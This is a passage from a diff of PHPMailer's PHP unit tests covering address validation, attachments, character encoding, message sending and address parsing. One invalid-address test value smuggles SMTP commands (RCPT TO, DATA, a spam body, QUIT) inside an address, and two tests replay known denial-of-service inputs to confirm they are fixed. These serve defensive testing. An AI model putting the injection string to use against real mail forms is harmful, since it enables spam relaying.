'first.last@[IPv6:a1:::]', - 'first.last@[IPv6:a1:a2:]', - 'first.last@[IPv6:a1:a2:::]', - 'first.last@[IPv6::11.22.33.44]', - 'first.last@[IPv6::::11.22.33.44]', - 'first.last@[IPv6:a1:11.22.33.44]', - 'first.last@[IPv6:a1:::11.22.33.44]', - 'first.last@[IPv6:a1:a2:::11.22.33.44]', - 'first.last@[IPv6:0123:4567:89ab:cdef::11.22.33.xx]', - 'first.last@[IPv6:0123:4567:89ab:CDEFF::11.22.33.44]', - 'first.last@[IPv6:a1::a4:b1::b4:11.22.33.44]', - 'first.last@[IPv6:a1::11.22.33]', - 'first.last@[IPv6:a1::11.22.33.44.55]', - 'first.last@[IPv6:a1::b211.22.33.44]', - 'first.last@[IPv6:a1::b2::11.22.33.44]', - 'first.last@[IPv6:a1::b3:]', - 'first.last@[IPv6::a2::b4]', - 'first.last@[IPv6:a1:a2:a3:a4:b1:b2:b3:]', - 'first.last@[IPv6::a2:a3:a4:b1:b2:b3:b4]', - 'first.last@[IPv6:a1:a2:a3:a4::b1:b2:b3:b4]', - //This is a valid RCC5322 address, but we don't want to allow it for obvious reasons! - "(\r\n RCPT TO:user@example.com\r\n DATA \\\nSubject: spam10\\\n\r\n Hello,\r\n". - " this is a spam mail.\\\n.\r\n QUIT\r\n ) a@example.net" - ); - // IDNs in Unicode and ASCII forms. - $unicodeaddresses = array( - 'first.last@bücher.ch', - 'first.last@кто.рф', - 'first.last@phplÃst.com', - ); - $asciiaddresses = array( - 'first.last@xn--bcher-kva.ch', - 'first.last@xn--j1ail.xn--p1ai', - 'first.last@xn--phplst-6va.com', - ); - $goodfails = array(); - foreach (array_merge($validaddresses, $asciiaddresses) as $address) { - if (!PHPMailer::validateAddress($address)) { - $goodfails[] = $address; - } - } - $badpasses = array(); - foreach (array_merge($invalidaddresses, $unicodeaddresses) as $address) { - if (PHPMailer::validateAddress($address)) { - $badpasses[] = $address; - } - } - $err = ''; - if (count($goodfails) > 0) { - $err .= "Good addresses that failed validation:\n"; - $err .= implode("\n", $goodfails); - } - if (count($badpasses) > 0) { - if (!empty($err)) { - $err .= "\n\n"; - } - $err .= "Bad addresses that passed validation:\n"; - $err .= implode("\n", $badpasses); - } - $this->assertEmpty($err, $err); - //For coverage - $this->assertTrue(PHPMailer::validateAddress('test@example.com', 'auto')); - $this->assertFalse(PHPMailer::validateAddress('test@example.com.', 'auto')); - $this->assertTrue(PHPMailer::validateAddress('test@example.com', 'pcre')); - $this->assertFalse(PHPMailer::validateAddress('test@example.com.', 'pcre')); - $this->assertTrue(PHPMailer::validateAddress('test@example.com', 'pcre8')); - $this->assertFalse(PHPMailer::validateAddress('test@example.com.', 'pcre8')); - $this->assertTrue(PHPMailer::validateAddress('test@example.com', 'php')); - $this->assertFalse(PHPMailer::validateAddress('test@example.com.', 'php')); - $this->assertTrue(PHPMailer::validateAddress('test@example.com', 'noregex')); - $this->assertFalse(PHPMailer::validateAddress('bad', 'noregex')); - } - - /** - * Test injecting a custom validator. - */ - public function testCustomValidator() - { - //Inject a one-off custom validator - $this->assertTrue( - PHPMailer::validateAddress( - 'user@example.com', - function ($address) { - return (strpos($address, '@') !== false); - } - ), - 'Custom validator false negative' - ); - $this->assertFalse( - PHPMailer::validateAddress( - 'userexample.com', - function ($address) { - return (strpos($address, '@') !== false); - } - ), - 'Custom validator false positive' - ); - //Set the default validator to an injected function - PHPMailer::$validator = function ($address) { - return ('user@example.com' === $address); - }; - $this->assertTrue( - $this->Mail->addAddress('user@example.com'), - 'Custom default validator false negative' - ); - $this->assertFalse( - //Need to pick a failing value which would pass all other validators - //to be sure we're using our custom one - $this->Mail->addAddress('bananas@example.com'), - 'Custom default validator false positive' - ); - //Set default validator to PHP built-in - PHPMailer::$validator = 'php'; - $this->assertFalse( - //This is a valid address that FILTER_VALIDATE_EMAIL thinks is invalid - $this->Mail->addAddress('first.last@example.123'), - 'PHP validator not behaving as expected' - ); - } - - /** - * Word-wrap an ASCII message. - */ - public function testWordWrap() - { - $this->Mail->WordWrap = 40; - $my_body = str_repeat( - 'Here is the main body of this message. It should ' . - 'be quite a few lines. It should be wrapped at ' . - '40 characters. Make sure that it is. ', - 10 - ); - $nBodyLen = strlen($my_body); - $my_body .= "\n\nThis is the above body length: " . $nBodyLen; - - $this->Mail->Body = $my_body; - $this->Mail->Subject .= ': Wordwrap'; - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Word-wrap a multibyte message. - */ - public function testWordWrapMultibyte() - { - $this->Mail->WordWrap = 40; - $my_body = str_repeat( - '飛兒樂 團光茫 飛兒樂 團光茫 飛兒樂 團光茫 飛兒樂 團光茫 ' . - '飛飛兒樂 團光茫兒樂 團光茫飛兒樂 團光飛兒樂 團光茫飛兒樂 團光茫兒樂 團光茫 ' . - '飛兒樂 團光茫飛兒樂 團飛兒樂 團光茫光茫飛兒樂 團光茫. ', - 10 - ); - $nBodyLen = strlen($my_body); - $my_body .= "\n\nThis is the above body length: " . $nBodyLen; - - $this->Mail->Body = $my_body; - $this->Mail->Subject .= ': Wordwrap multibyte'; - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test low priority. - */ - public function testLowPriority() - { - $this->Mail->Priority = 5; - $this->Mail->Body = 'Here is the main body. There should be ' . - 'a reply to address in this message.'; - $this->Mail->Subject .= ': Low Priority'; - $this->Mail->addReplyTo('nobody@nobody.com', 'Nobody (Unit Test)'); - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple plain file attachment test. - */ - public function testMultiplePlainFileAttachment() - { - $this->Mail->Body = 'Here is the text body'; - $this->Mail->Subject .= ': Plain + Multiple FileAttachments'; - - if (!$this->Mail->addAttachment(realpath(self::INCLUDE_DIR . 'examples/images/phpmailer.png'))) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - if (!$this->Mail->addAttachment(__FILE__, 'test.txt')) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple plain string attachment test. - */ - public function testPlainStringAttachment() - { - $this->Mail->Body = 'Here is the text body'; - $this->Mail->Subject .= ': Plain + StringAttachment'; - - $sAttachment = 'These characters are the content of the ' . - "string attachment.\nThis might be taken from a " . - 'database or some other such thing. '; - - $this->Mail->addStringAttachment($sAttachment, 'string_attach.txt'); - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Plain quoted-printable message. - */ - public function testQuotedPrintable() - { - $this->Mail->Body = 'Here is the main body'; - $this->Mail->Subject .= ': Plain + Quoted-printable'; - $this->Mail->Encoding = 'quoted-printable'; - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - //Check that a quoted printable encode and decode results in the same as went in - $t = file_get_contents(__FILE__); //Use this file as test content - //Force line breaks to UNIX-style - $t = str_replace(array("\r\n", "\r"), "\n", $t); - $this->assertEquals( - $t, - quoted_printable_decode($this->Mail->encodeQP($t)), - 'Quoted-Printable encoding round-trip failed' - ); - $this->assertEquals( - $this->Mail->encodeQP($t), - $this->Mail->encodeQPphp($t), - 'Quoted-Printable BC wrapper failed' - ); - //Force line breaks to Windows-style - $t = str_replace("\n", "\r\n", $t); - $this->assertEquals( - $t, - quoted_printable_decode($this->Mail->encodeQP($t)), - 'Quoted-Printable encoding round-trip failed (Windows line breaks)' - ); - } - - /** - * Send an HTML message. - */ - public function testHtml() - { - $this->Mail->isHTML(true); - $this->Mail->Subject .= ": HTML only"; - - $this->Mail->Body = <<<EOT -<html> - <head> - <title>HTML email test</title> - </head> - <body> - <h1>PHPMailer does HTML!</h1> - <p>This is a <strong>test message</strong> written in HTML.<br> - Go to <a href="https://github.com/PHPMailer/PHPMailer/">https://github.com/PHPMailer/PHPMailer/</a> - for new versions of PHPMailer.</p> - <p>Thank you!</p> - </body> -</html> -EOT; - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $msg = $this->Mail->getSentMIMEMessage(); - $this->assertNotContains("\r\n\r\nMIME-Version:", $msg, 'Incorrect MIME headers'); - } - - /** - * Send a message containing ISO-8859-1 text. - */ - public function testHtmlIso8859() - { - $this->Mail->isHTML(true); - $this->Mail->Subject .= ": ISO-8859-1 HTML"; - $this->Mail->CharSet = 'iso-8859-1'; - - //This file is in ISO-8859-1 charset - //Needs to be external because this file is in UTF-8 - $content = file_get_contents(realpath('../examples/contents.html')); - // This is the string 'éèîüçÅñæß' in ISO-8859-1, base-64 encoded - $check = base64_decode('6eju/OfF8ebf'); - //Make sure it really is in ISO-8859-1! - $this->Mail->msgHTML( - mb_convert_encoding( - $content, - "ISO-8859-1", - mb_detect_encoding($content, "UTF-8, ISO-8859-1, ISO-8859-15", true) - ), - realpath(self::INCLUDE_DIR . 'examples') - ); - $this->buildBody(); - $this->assertTrue( - strpos($this->Mail->Body, $check) !== false, - 'ISO message body does not contain expected text' - ); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Send a message containing multilingual UTF-8 text. - */ - public function testHtmlUtf8() - { - $this->Mail->isHTML(true); - $this->Mail->Subject .= ": UTF-8 HTML"; - $this->Mail->CharSet = 'UTF-8'; - - $this->Mail->Body = <<<EOT -<html> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>HTML email test</title> - </head> - <body> - <p>Chinese text: 郵件內容為空</p> - <p>Russian text: ПуÑтое тело ÑообщениÑ</p> - <p>Armenian text: Õ€Õ¡Õ²Õ¸Ö€Õ¤Õ¡Õ£Ö€Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨ Õ¤Õ¡Õ¿Õ¡Ö€Õ¯ Õ§</p> - <p>Czech text: Prázdné tÄ›lo zprávy</p> - </body> -</html> -EOT; - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $msg = $this->Mail->getSentMIMEMessage(); - $this->assertNotContains("\r\n\r\nMIME-Version:", $msg, 'Incorrect MIME headers'); - } - - /** - * Send a message containing multilingual UTF-8 text with an embedded image. - */ - public function testUtf8WithEmbeddedImage() - { - $this->Mail->isHTML(true); - $this->Mail->Subject .= ": UTF-8 with embedded image"; - $this->Mail->CharSet = 'UTF-8'; - - $this->Mail->Body = <<<EOT -<html> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>HTML email test</title> - </head> - <body> - <p>Chinese text: 郵件內容為空</p> - <p>Russian text: ПуÑтое тело ÑообщениÑ</p> - <p>Armenian text: Õ€Õ¡Õ²Õ¸Ö€Õ¤Õ¡Õ£Ö€Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨ Õ¤Õ¡Õ¿Õ¡Ö€Õ¯ Õ§</p> - <p>Czech text: Prázdné tÄ›lo zprávy</p> - Embedded Image: <img alt="phpmailer" src="cid:my-attach"> - </body> -</html> -EOT; - $this->Mail->addEmbeddedImage( - realpath(self::INCLUDE_DIR . 'examples/images/phpmailer.png'), - 'my-attach', - 'phpmailer.png', - 'base64', - 'image/png' - ); - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Send a message containing multilingual UTF-8 text. - */ - public function testPlainUtf8() - { - $this->Mail->isHTML(false); - $this->Mail->Subject .= ": UTF-8 plain text"; - $this->Mail->CharSet = 'UTF-8'; - - $this->Mail->Body = <<<EOT -Chinese text: 郵件內容為空 -Russian text: ПуÑтое тело ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ -Armenian text: Õ€Õ¡Õ²Õ¸Ö€Õ¤Õ¡Õ£Ö€Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨ Õ¤Õ¡Õ¿Õ¡Ö€Õ¯ Õ§ -Czech text: Prázdné tÄ›lo zprávy -EOT; - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $msg = $this->Mail->getSentMIMEMessage(); - $this->assertNotContains("\r\n\r\nMIME-Version:", $msg, 'Incorrect MIME headers'); - } - - /** - * Test simple message builder and html2text converters - */ - public function testMsgHTML() - { - $message = file_get_contents(realpath(self::INCLUDE_DIR . 'examples/contentsutf8.html')); - $this->Mail->CharSet = 'utf-8'; - $this->Mail->Body = ''; - $this->Mail->AltBody = ''; - //Uses internal HTML to text conversion - $this->Mail->msgHTML($message, realpath(self::INCLUDE_DIR . 'examples')); - $this->Mail->Subject .= ': msgHTML'; - - $this->assertNotEmpty($this->Mail->Body, 'Body not set by msgHTML'); - $this->assertNotEmpty($this->Mail->AltBody, 'AltBody not set by msgHTML'); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - //Again, using a custom HTML to text converter - $this->Mail->AltBody = ''; - $this->Mail->msgHTML($message, realpath(self::INCLUDE_DIR . 'examples'), function ($html) { - return strtoupper(strip_tags($html)); - }); - $this->Mail->Subject .= ' + custom html2text'; - $this->assertNotEmpty($this->Mail->AltBody, 'Custom AltBody not set by msgHTML'); - - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple HTML and attachment test - */ - public function testHTMLAttachment() - { - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->Subject .= ': HTML + Attachment'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addAttachment( - realpath(self::INCLUDE_DIR . 'examples/images/phpmailer_mini.png'), 'phpmailer_mini.png') - ) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - //Make sure that trying to attach a nonexistent file fails - $this->assertFalse($this->Mail->addAttachment(__FILE__ . md5(microtime()), 'nonexistent_file.txt')); - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test embedded image without a name - */ - public function testHTMLStringEmbedNoName() - { - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->Subject .= ': HTML + unnamed embedded image'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addStringEmbeddedImage( - file_get_contents(realpath(self::INCLUDE_DIR . 'examples/images/phpmailer_mini.png')), - md5('phpmailer_mini.png').'@phpmailer.0', - '', //intentionally empty name - 'base64', - 'image/png', - 'inline') - ) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple HTML and multiple attachment test - */ - public function testHTMLMultiAttachment() - { - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->Subject .= ': HTML + multiple Attachment'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addAttachment(realpath(self::INCLUDE_DIR . 'examples/images/phpmailer_mini.png'), 'phpmailer_mini.png')) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - if (!$this->Mail->addAttachment(realpath(self::INCLUDE_DIR . 'examples/images/phpmailer.png'), 'phpmailer.png')) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * An embedded attachment test. - */ - public function testEmbeddedImage() - { - $this->Mail->Body = 'Embedded Image: <img alt="phpmailer" src="cid:my-attach">' . - 'Here is an image!'; - $this->Mail->Subject .= ': Embedded Image'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addEmbeddedImage( - realpath(self::INCLUDE_DIR . 'examples/images/phpmailer.png'), - 'my-attach', - 'phpmailer.png', - 'base64', - 'image/png' - ) - ) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - //For code coverage - $this->Mail->addEmbeddedImage('thisfiledoesntexist', 'xyz'); //Non-existent file - $this->Mail->addEmbeddedImage(__FILE__, '123'); //Missing name - } - - /** - * An embedded attachment test. - */ - public function testMultiEmbeddedImage() - { - $this->Mail->Body = 'Embedded Image: <img alt="phpmailer" src="cid:my-attach">' . - 'Here is an image!</a>'; - $this->Mail->Subject .= ': Embedded Image + Attachment'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addEmbeddedImage( - realpath(self::INCLUDE_DIR . 'examples/images/phpmailer.png'), - 'my-attach', - 'phpmailer.png', - 'base64', - 'image/png' - ) - ) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - if (!$this->Mail->addAttachment(__FILE__, 'test.txt')) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple multipart/alternative test. - */ - public function testAltBody() - { - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->AltBody = 'Here is the text body of this message. ' . - 'It should be quite a few lines. It should be wrapped at the ' . - '40 characters. Make sure that it is.'; - $this->Mail->WordWrap = 40; - $this->addNote('This is a mulipart alternative email'); - $this->Mail->Subject .= ': AltBody + Word Wrap'; - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Simple HTML and attachment test - */ - public function testAltBodyAttachment() - { - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->AltBody = 'This is the text part of the email.'; - $this->Mail->Subject .= ': AltBody + Attachment'; - $this->Mail->isHTML(true); - - if (!$this->Mail->addAttachment(__FILE__, 'test_attach.txt')) { - $this->assertTrue(false, $this->Mail->ErrorInfo); - return; - } - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * iCal event test. - */ - public function testIcal() - { - //Standalone ICS tests - require_once realpath(self::INCLUDE_DIR . 'extras/EasyPeasyICS.php'); - $ICS = new EasyPeasyICS("PHPMailer test calendar"); - $this->assertNotEmpty( - $ICS->addEvent( - strtotime('tomorrow 10:00 Europe/Paris'), - strtotime('tomorrow 11:00 Europe/Paris'), - 'PHPMailer iCal test', - 'A test of PHPMailer iCal support', - 'https://github.com/PHPMailer/PHPMailer' - ), - 'Generated event string is empty' - ); - $ICS->addEvent( - strtotime('tomorrow 10:00 Europe/Paris'), - strtotime('tomorrow 11:00 Europe/Paris'), - 'PHPMailer iCal test', - 'A test of PHPMailer iCal support', - 'https://github.com/PHPMailer/PHPMailer' - ); - $events = $ICS->getEvents(); - $this->assertEquals(2, count($events), 'Event count mismatch'); - $ICS->clearEvents(); - $events = $ICS->getEvents(); - $this->assertEquals(0, count($events), 'Event clearing failed'); - $ICS->setName('test'); - $this->assertEquals('test', $ICS->getName(), 'Setting ICS name failed'); - $this->assertNotEmpty($ICS->render(false), 'Empty calendar'); - //Need to test generated output but PHPUnit isn't playing nice - //$rendered = $ICS->render(); - - //Test sending an ICS - $this->Mail->Body = 'This is the <strong>HTML</strong> part of the email.'; - $this->Mail->AltBody = 'This is the text part of the email.'; - $this->Mail->Subject .= ': iCal'; - $this->Mail->isHTML(true); - $this->buildBody(); - $this->Mail->Ical = $ICS->render(false); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test sending multiple messages with separate connections. - */ - public function testMultipleSend() - { - $this->Mail->Body = 'Sending two messages without keepalive'; - $this->buildBody(); - $subject = $this->Mail->Subject; - - $this->Mail->Subject = $subject . ': SMTP 1'; - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - $this->Mail->Subject = $subject . ': SMTP 2'; - $this->Mail->Sender = 'blah@example.com'; - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test sending using SendMail. - */ - public function testSendmailSend() - { - $this->Mail->Body = 'Sending via sendmail'; - $this->buildBody(); - $subject = $this->Mail->Subject; - - $this->Mail->Subject = $subject . ': sendmail'; - $this->Mail->isSendmail(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test sending using Qmail. - */ - public function testQmailSend() - { - //Only run if we have qmail installed - if (file_exists('/var/qmail/bin/qmail-inject')) { - $this->Mail->Body = 'Sending via qmail'; - $this->BuildBody(); - $subject = $this->Mail->Subject; - - $this->Mail->Subject = $subject . ': qmail'; - $this->Mail->IsQmail(); - $this->assertTrue($this->Mail->Send(), $this->Mail->ErrorInfo); - } else { - $this->markTestSkipped('Qmail is not installed'); - } - } - - /** - * Test sending using PHP mail() function. - */ - public function testMailSend() - { - $sendmail = ini_get('sendmail_path'); - //No path in sendmail_path - if (strpos($sendmail, '/') === false) { - ini_set('sendmail_path', '/usr/sbin/sendmail -t -i '); - } - $this->Mail->Body = 'Sending via mail()'; - $this->buildBody(); - - $this->Mail->Subject = $this->Mail->Subject . ': mail()'; - $this->Mail->isMail(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $msg = $this->Mail->getSentMIMEMessage(); - $this->assertNotContains("\r\n\r\nMIME-Version:", $msg, 'Incorrect MIME headers'); - } - - /** - * Test sending an empty body. - */ - public function testEmptyBody() - { - $this->buildBody(); - $this->Mail->Body = ''; - $this->Mail->Subject = $this->Mail->Subject . ': Empty Body'; - $this->Mail->isMail(); - $this->Mail->AllowEmpty = true; - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $this->Mail->AllowEmpty = false; - $this->assertFalse($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Test constructing a multipart message that contains lines that are too long for RFC compliance. - */ - public function testLongBody() - { - $oklen = str_repeat(str_repeat('0', PHPMailer::MAX_LINE_LENGTH) . PHPMailer::CRLF, 2); - $badlen = str_repeat(str_repeat('1', PHPMailer::MAX_LINE_LENGTH + 1) . PHPMailer::CRLF, 2); - - $this->Mail->Body = "This message contains lines that are too long.". - PHPMailer::CRLF . $oklen . $badlen . $oklen; - $this->assertTrue( - PHPMailer::hasLineLongerThanMax($this->Mail->Body), - 'Test content does not contain long lines!' - ); - $this->Mail->isHTML(); - $this->buildBody(); - $this->Mail->AltBody = $this->Mail->Body; - $this->Mail->Encoding = '8bit'; - $this->Mail->preSend(); - $message = $this->Mail->getSentMIMEMessage(); - $this->assertFalse(PHPMailer::hasLineLongerThanMax($message), 'Long line not corrected.'); - $this->assertContains( - 'Content-Transfer-Encoding: quoted-printable', - $message, - 'Long line did not cause transfer encoding switch.' - ); - } - - /** - * Test constructing a message that does NOT contain lines that are too long for RFC compliance. - */ - public function testShortBody() - { - $oklen = str_repeat(str_repeat('0', PHPMailer::MAX_LINE_LENGTH) . PHPMailer::CRLF, 10); - - $this->Mail->Body = "This message does not contain lines that are too long.". - PHPMailer::CRLF . $oklen; - $this->assertFalse( - PHPMailer::hasLineLongerThanMax($this->Mail->Body), - 'Test content contains long lines!' - ); - $this->buildBody(); - $this->Mail->Encoding = '8bit'; - $this->Mail->preSend(); - $message = $this->Mail->getSentMIMEMessage(); - $this->assertFalse(PHPMailer::hasLineLongerThanMax($message), 'Long line not corrected.'); - $this->assertNotContains( - 'Content-Transfer-Encoding: quoted-printable', - $message, - 'Short line caused transfer encoding switch.' - ); - } - - /** - * Test keepalive (sending multiple messages in a single connection). - */ - public function testSmtpKeepAlive() - { - $this->Mail->Body = 'SMTP keep-alive test.'; - $this->buildBody(); - $subject = $this->Mail->Subject; - - $this->Mail->SMTPKeepAlive = true; - $this->Mail->Subject = $subject . ': SMTP keep-alive 1'; - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - $this->Mail->Subject = $subject . ': SMTP keep-alive 2'; - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $this->Mail->smtpClose(); - } - - /** - * Tests this denial of service attack: - * @link http://www.cybsec.com/vuln/PHPMailer-DOS.pdf - */ - public function testDenialOfServiceAttack() - { - $this->Mail->Body = 'This should no longer cause a denial of service.'; - $this->buildBody(); - - $this->Mail->Subject = substr(str_repeat('0123456789', 100), 0, 998); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - } - - /** - * Tests this denial of service attack: - * @link https://sourceforge.net/p/phpmailer/bugs/383/ - * According to the ticket, this should get stuck in a loop, though I can't make it happen. - * @TODO No assertions in here - how can you assert for this? - */ - public function testDenialOfServiceAttack2() - { - //Encoding name longer than 68 chars - $this->Mail->Encoding = '1234567890123456789012345678901234567890123456789012345678901234567890'; - //Call wrapText with a zero length value - $this->Mail->wrapText(str_repeat('This should no longer cause a denial of service. ', 30), 0); - } - - /** - * Test error handling. - */ - public function testError() - { - $this->Mail->Subject .= ': Error handling test - this should be sent ok'; - $this->buildBody(); - $this->Mail->clearAllRecipients(); // no addresses should cause an error - $this->assertTrue($this->Mail->isError() == false, 'Error found'); - $this->assertTrue($this->Mail->send() == false, 'send succeeded'); - $this->assertTrue($this->Mail->isError(), 'No error found'); - $this->assertEquals('You must provide at least one recipient email address.', $this->Mail->ErrorInfo); - $this->Mail->addAddress($_REQUEST['mail_to']); - $this->assertTrue($this->Mail->send(), 'send failed'); - } - - /** - * Test addressing. - */ - public function testAddressing() - { - $this->assertFalse($this->Mail->addAddress(''), 'Empty address accepted'); - $this->assertFalse($this->Mail->addAddress('', 'Nobody'), 'Empty address with name accepted'); - $this->assertFalse($this->Mail->addAddress('a@example..com'), 'Invalid address accepted'); - $this->assertTrue($this->Mail->addAddress('a@example.com'), 'Addressing failed'); - $this->assertFalse($this->Mail->addAddress('a@example.com'), 'Duplicate addressing failed'); - $this->assertTrue($this->Mail->addCC('b@example.com'), 'CC addressing failed'); - $this->assertFalse($this->Mail->addCC('b@example.com'), 'CC duplicate addressing failed'); - $this->assertFalse($this->Mail->addCC('a@example.com'), 'CC duplicate addressing failed (2)'); - $this->assertTrue($this->Mail->addBCC('c@example.com'), 'BCC addressing failed'); - $this->assertFalse($this->Mail->addBCC('c@example.com'), 'BCC duplicate addressing failed'); - $this->assertFalse($this->Mail->addBCC('a@example.com'), 'BCC duplicate addressing failed (2)'); - $this->assertTrue($this->Mail->addReplyTo('a@example.com'), 'Replyto Addressing failed'); - $this->assertFalse($this->Mail->addReplyTo('a@example..com'), 'Invalid Replyto address accepted'); - $this->assertTrue($this->Mail->setFrom('a@example.com', 'some name'), 'setFrom failed'); - $this->assertFalse($this->Mail->setFrom('a@example.com.', 'some name'), 'setFrom accepted invalid address'); - $this->Mail->Sender = ''; - $this->Mail->setFrom('a@example.com', 'some name', true); - $this->assertEquals($this->Mail->Sender, 'a@example.com', 'setFrom failed to set sender'); - $this->Mail->Sender = ''; - $this->Mail->setFrom('a@example.com', 'some name', false); - $this->assertEquals($this->Mail->Sender, '', 'setFrom should not have set sender'); - $this->Mail->clearCCs(); - $this->Mail->clearBCCs(); - $this->Mail->clearReplyTos(); - } - - /** - * Test RFC822 address splitting. - */ - public function testAddressSplitting() - { - //Test built-in address parser - $this->assertCount( - 2, - $this->Mail->parseAddresses( - 'Joe User <joe@example.com>, Jill User <jill@example.net>' - ), - 'Failed to recognise address list (IMAP parser)' - ); - $this->assertEquals( - array( - array("name" => 'Joe User', 'address' => 'joe@example.com'), - array("name" => 'Jill User', 'address' => 'jill@example.net'), - array("name" => '', 'address' => 'frank@example.com'), - ), - $this->Mail->parseAddresses( - 'Joe User <joe@example.com>,' - . 'Jill User <jill@example.net>,' - . 'frank@example.com,' - ), - 'Parsed addresses' - ); - //Test simple address parser - $this->assertCount( - 2, - $this->Mail->parseAddresses( - 'Joe User <joe@example.com>, Jill User <jill@example.net>', - false - ), - 'Failed to recognise address list' - ); - //Test single address - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'Joe User <joe@example.com>', - false - ), - 'Failed to recognise single address' - ); - //Test quoted name IMAP - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'Tim "The Book" O\'Reilly <foo@example.com>' - ), - 'Failed to recognise quoted name (IMAP)' - ); - //Test quoted name - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'Tim "The Book" O\'Reilly <foo@example.com>', - false - ), - 'Failed to recognise quoted name' - ); - //Test single address IMAP - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'Joe User <joe@example.com>' - ), - 'Failed to recognise single address (IMAP)' - ); - //Test unnamed address - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'joe@example.com', - false - ), - 'Failed to recognise unnamed address' - ); - //Test unnamed address IMAP - $this->assertNotEmpty( - $this->Mail->parseAddresses( - 'joe@example.com' - ), - 'Failed to recognise unnamed address (IMAP)' - ); - //Test invalid addresses - $this->assertEmpty( - $this->Mail->parseAddresses( - 'Joe User <joe@example.com.>, Jill User <jill.@example.net>' - ), - 'Failed to recognise invalid addresses (IMAP)' - ); - //Test invalid addresses - $this->assertEmpty( - $this->Mail->parseAddresses( - 'Joe User <joe@example.com.>, Jill User <jill.@example.net>', - false - ), - 'Failed to recognise invalid addresses' - ); - } - - /** - * Test address escaping. - */ - public function testAddressEscaping() - { - $this->Mail->Subject .= ': Address escaping'; - $this->Mail->clearAddresses(); - $this->Mail->addAddress('foo@example.com', 'Tim "The Book" O\'Reilly'); - $this->Mail->Body = 'Test correct escaping of quotes in addresses.'; - $this->buildBody(); - $this->Mail->preSend(); - $b = $this->Mail->getSentMIMEMessage(); - $this->assertTrue((strpos($b, 'To: "Tim \"The Book\" O\'Reilly" <foo@example.com>') !== false)); - } - - /** - * Test MIME structure assembly. - */ - public function testMIMEStructure() - { - $this->Mail->Subject .= ': MIME structure'; - $this->Mail->Body = '<h3>MIME structure test.</h3>'; - $this->Mail->AltBody = 'MIME structure test.'; - $this->buildBody(); - $this->Mail->preSend(); - $this->assertRegExp( - "/Content-Transfer-Encoding: 8bit\r\n\r\n". - 